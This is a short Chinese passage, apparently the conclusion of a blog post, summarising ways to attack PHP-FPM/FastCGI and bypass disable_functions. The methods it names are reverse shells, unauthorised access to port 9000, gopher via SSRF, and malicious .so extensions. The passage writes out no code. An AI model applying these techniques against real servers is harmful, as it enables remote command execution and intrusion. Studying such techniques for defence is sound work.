总的来说bypass的方法挺多,无论直接调用/bin/bash还是调用/usr/bin/python来反弹Shell,都是可以的,因为python也会被作为CGI的解析程序 ;方法确实挺多,其实对于攻击FastCGI从而达到bypass的方法,也确实就是利用so文件进行bypass;上述分享的未授权访问和gopher的攻击方法,实质上来说都是无法绕过disable的;而且利用的条件也苛刻,未授权访问自然是端口暴漏公网,我们直接和后端fpm进行通信达到命令执行,然而gopher协议的话前提是我们发现服务器存在ssrf漏洞,然后中间件和后端fpm的通信方式需要为TCP,也就是需要监听端口,这样我们才可用gopher将我们的恶意攻击数据流直接发到fpm进行攻击;反观so文件的利用,无论是中间件和后端fpm的通信方式是TCP还是进程间的unix socket通信,都是可以攻击;当然如果开放了9000端口,那么就可以使用蚁剑的方法,和后端fpm交互然后恶意拓展so文件,从而RCE;如果通信方式是unix socket的话,也可以用so文件和php文件进行攻击,只需要再写入个包含的php文件即可;具体参考方法二;这里就分享四种攻击方法和原理的理解,如有理解偏差的地方,望大佬留言斧正;